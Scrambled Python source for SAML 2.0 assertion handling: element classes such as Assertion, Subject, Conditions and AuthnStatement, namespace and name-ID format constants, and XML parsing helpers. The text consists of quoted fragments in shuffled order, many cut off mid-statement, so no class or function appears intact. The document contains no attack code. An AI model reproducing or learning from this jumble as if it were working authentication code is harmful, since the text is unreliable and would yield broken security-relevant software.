EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag =", "_str, 'to_type': _str, 'to_text': ( lambda x: b64encode(x.encode()) if base64encode", "'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children =", "self.not_on_or_after = not_on_or_after def verify(self): if self.one_time_use: if len(self.one_time_use) !=", "'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef,", "self.extension_attributes[XSI_TYPE] except KeyError: pass try: del self._extatt[XSI_TYPE] except KeyError: pass", "0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None):", "= ( 'condition', [Condition]) c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] =", "\"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self,", "set of rules describing how to embed SAML assertions. #", "element \"\"\" c_tag = 'ProxyRestriction' c_namespace = NAMESPACE c_children =", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] self.count = count", "self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase):", "EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string,", "# dicc for avaiable formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS),", "correct type before type-checking if type(value) is _str and valid_type", "type(value), 'to_type': lambda x: x, 'to_text': lambda x: x, },", "= EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The", "x, }, '': { 'type': type(None), 'to_type': lambda x: None,", "class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag = 'ConditionAbstractType' c_namespace", "'Audience' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children =", "'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None, signature=None, subject=None, conditions=None, advice=None, statement=None,", "Kerberos principal name, Entity identifier, Persistent identifier, Transient identifier.\" \"\"\"", "authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag:", "element \"\"\" c_tag = 'ConditionAbstractType' c_namespace = NAMESPACE c_children =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag = 'SubjectLocality' c_namespace = NAMESPACE", "\"xs\" # xmlschema templates and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' #", "def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element", "cannot determine if the action is permitted or denied DECISION_TYPE_INDETERMINATE", "saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag =", "= ('subject', Subject) c_cardinality['subject'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions']", "extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action or", "= NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag = 'SubjectConfirmationType' c_namespace = NAMESPACE", "= ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string):", "= 'ActionType' c_namespace = NAMESPACE c_value_type = {'base': 'string'} c_children", "class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag = 'AssertionURIRef' c_namespace", "= typ except AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try:", "'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None,", "}, 'base64Binary': { 'type': _str, 'to_type': _str, 'to_text': ( lambda", "c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def", "del self.extension_attributes[XSI_TYPE] except KeyError: pass try: del self._extatt[XSI_TYPE] except KeyError:", "AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation':", "NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" #", "c_attributes['Address'] = ('address', 'string', False) c_any = {\"namespace\": \"##any\", \"processContents\":", "SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info'])", "XS_NAMESPACE def get_type(self): try: return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try:", "SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string', False) c_attributes['DNSName'] = ('dns_name', 'string',", "issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self, text=None,", "\"\"\" c_tag = 'AuthnContext' c_namespace = NAMESPACE c_children = AuthnContextType_.c_children.copy()", "\"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request with login credentials, over tls/https", "remove the nil marker if text or self.extension_elements: if XSI_NIL", "= AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string):", "dicc for avaiable formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI',", "have added a text node # or other children to", "have both <AuthnContextDecl> and <AuthnContextDeclRef>\" ) return SamlBase.verify(self) def authn_context_type__from_string(xml_string):", "c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer,", "except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] =", "request with login credentials, over tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\"", "c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0}", "base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "= ('address', 'string', False) c_any = {\"namespace\": \"##any\", \"processContents\": \"lax\",", "{'base': 'NCName'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return", "this node # remove the nil marker if text or", "= '{%s}nil' % XSI_NAMESPACE # idp and sp communicate usually", "subject confirmation and must include a security header # signing", "('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None,", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format", "xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag = 'ConditionsType'", "= ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore'] =", "lambda x: _str(x).lower(), }, 'base64Binary': { 'type': _str, 'to_type': _str,", "StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0,", "AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag = 'AttributeStatement' c_namespace =", "# the SAML authority cannot determine if the action is", "xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion', 'AssertionType',", "c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def", "instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None,", "NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:]", "{xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg) # only", "in tree: self._convert_element_tree_to_member(child) for attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value)", "True) def __init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement':", "self.extension_attributes: raise Exception( \"Attribute value base should not have extension", "'Attribute' c_namespace = NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy()", "AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, }", "xmlschema definition XSD = \"xs\" # xmlschema templates and extensions", "= ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience']) def __init__(self,", "name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format = format self.sp_provided_id = sp_provided_id", "[] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence", "'AttributeValue' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'} c_children =", "six.binary_type): value = value.decode('utf-8') type_to_xsd = { _str: 'string', int:", "used more than once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_,", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context = authn_context self.authn_instant =", "c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl']", "def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element", "Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string,", "ability to provide name identifiers in a number of different", "return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag", "'type': int, 'to_type': int, 'to_text': _str, }, 'float': { 'type':", "c_tag = 'AuthnStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes", "('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature'] = {\"min\": 0,", "action is permitted or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent", "one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag:", "'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice,", "# only work with six.string_types _str = unicode if six.PY2", "= SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag =", "extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute", "c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase):", "tree.text ) if text: #print(\"set_text:\", tree.text) # clear type #self.clear_type()", "( tree.text.strip() if tree.text and self.extension_elements else tree.text ) if", "def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after", "def __init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "evidence=None, resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements,", "'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject': Subject,", "('recipient', 'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False) c_attributes['Address'] =", "\"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\")", "c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion,", "been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been obtained", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag = 'SubjectLocalityType' c_namespace = NAMESPACE", "('address', 'string', False) c_any = {\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\":", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = (", "subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag:", "key:value metadata shared with your app # custom format NAME_FORMAT_UNSPECIFIED", "= \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\"", "= ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality =", "# subject from a kerberos instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\")", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string',", "IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return", "information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD =", "[] self.authz_decision_statement = authz_decision_statement or [] self.attribute_statement = attribute_statement or", "= {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority',", "msg = 'Type and value do not match: {xsd}:{type}:{value}' msg", "'') SamlBase.__setattr__(self, 'text', text) return self def harvest_element_tree(self, tree): #", "= ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string)", "c_cardinality['audience'] = {\"min\": 0} c_attributes['Count'] = ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience'])", "= ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] =", "self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try: return self._extatt[XSI_TYPE] except KeyError: return", "( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based", "= BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The", "__init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag = 'SubjectLocalityType'", "xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag = 'SubjectConfirmation'", "private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party is", "# type definitions for xmlschemas XSI_TYPE = '{%s}type' % XSI_NAMESPACE", "element \"\"\" c_tag = 'EncryptedID' c_namespace = NAMESPACE c_children =", "':' not in xsd_string else xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type,", "assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type', type(None)) to_type =", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0} c_children[", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] =", "False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) c_attributes['Format'] = ('format', 'anyURI',", "= ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string):", "base64encode else self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type = ( ['',", "\"\"\" c_tag = 'SubjectLocality' c_namespace = NAMESPACE c_children = SubjectLocalityType_.c_children.copy()", "set_text(self, value, base64encode=False): def _wrong_type_value(xsd, value): msg = 'Type and", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion']", "xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag = 'DecisionType'", "def __init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request with login", "method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key = encrypted_key", "'NameIDType' c_namespace = NAMESPACE c_value_type = {'base': 'string'} c_children =", "c_tag = 'Conditions' c_namespace = NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes", "not_before self.not_on_or_after = not_on_or_after self.recipient = recipient self.in_response_to = in_response_to", "StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action]) c_cardinality['action'] = {\"min\": 1}", "encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag:", "# xmlschema templates and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string)", "\"Indeterminate\" # consent attributes determine wether consent has been given", "= SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string)", "c_attributes['Name'] = ('name', 'string', True) c_attributes['NameFormat'] = ('name_format', 'anyURI', False)", "if len(self.one_time_use) != 1: raise Exception(\"Cannot be used more than", "raise MustValueError( \"If no statement MUST contain a subject element\")", "SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute", "= {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement']", "NAMESPACE c_children = ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:]", "0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\":", "= 'Condition' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes =", "attributes\" ) return True else: SamlBase.verify(self) def set_type(self, typ): try:", "include a security header # signing its content. SCM_SENDER_VOUCHES =", "or [] self.name = name self.name_format = name_format self.friendly_name =", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions) c_cardinality['conditions'] = {\"min\": 0,", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace = NAMESPACE", "NameID) c_cardinality['name_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = (", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value or []", "xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag = 'AuthzDecisionStatement'", "= dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The", "KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string,", "'to_type': int, 'to_text': _str, }, 'float': { 'type': float, 'to_type':", "c_attributes['Recipient'] = ('recipient', 'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False)", "to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else xsd_type if xsd_type", "= StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The", "SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy()", "\"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for xmlschemas XSI_TYPE = '{%s}type' %", "c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase):", "SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition", "self.conditions = conditions self.advice = advice self.statement = statement or", "__init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "# annonymous subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable", "Overview: \"The <NameID> element within a <Subject> offers the ability", "'type': _str, 'to_type': _str, 'to_text': _str, }, 'integer': { 'type':", "'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use',", "Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers =", "if xsd_ns else xsd_type if xsd_type else '') SamlBase.__setattr__(self, 'text',", "element \"\"\" c_tag = 'AssertionType' c_namespace = NAMESPACE c_children =", "SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id'] = {\"min\": 0, \"max\":", "embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was later", "\"lax\"} def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None):", "for avaiable formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI),", "# XML based values for SAML attributes PROFILE_ATTRIBUTE_BASIC = (", "or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent attributes determine wether", "return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag", "= SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string):", "0} c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion])", "= NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order =", "import b64encode from saml2.validate import valid_ipv4, MustValueError from 